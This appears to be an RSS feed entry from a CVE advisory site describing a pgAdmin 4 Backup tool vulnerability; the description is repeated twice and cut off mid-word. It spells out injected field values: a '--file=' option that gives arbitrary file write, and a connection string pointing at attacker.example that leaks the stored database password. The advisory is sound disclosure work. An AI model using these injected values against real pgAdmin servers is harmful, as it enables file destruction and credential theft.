https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Wed, 07 Oct 2026 20:28:26 +0000 https://cve.radiocsirt.org/vuln/cve-2026-86864 <p><strong>Affected:</strong> pgadmin.org pgAdmin 4</p> <p>pgAdmin 4&#39;s Backup tool appended the client-supplied &#39;database&#39; field from the /backup/job/&lt;sid&gt;/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user&#39;s File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin&#39;s own configuration database and, depending on the target chosen, be escalated further.</p> <p>The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as &#39;host=attacker.example port=5432 dbname=x&#39; redirected pg_dump to a server of the attacker&#39;s choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permis…</p> <p><strong>Affected:</strong> pgadmin.org pgAdmin 4</p> <p>pgAdmin 4&#39;s Backup tool appended the client-supplied &#39;database&#39; field from the /backup/job/&lt;sid&gt;/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user&#39;s File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin&#39;s own configuration database and, depending on the target chosen, be escalated further.</p> <p>The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as &#39;host=attacker.example port=5432 dbname=x&#39; redirected pg_dump to a server of the attacker&#39;s choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permis…</p> https://cve.radiocsirt.org/vuln/cve-2026-86864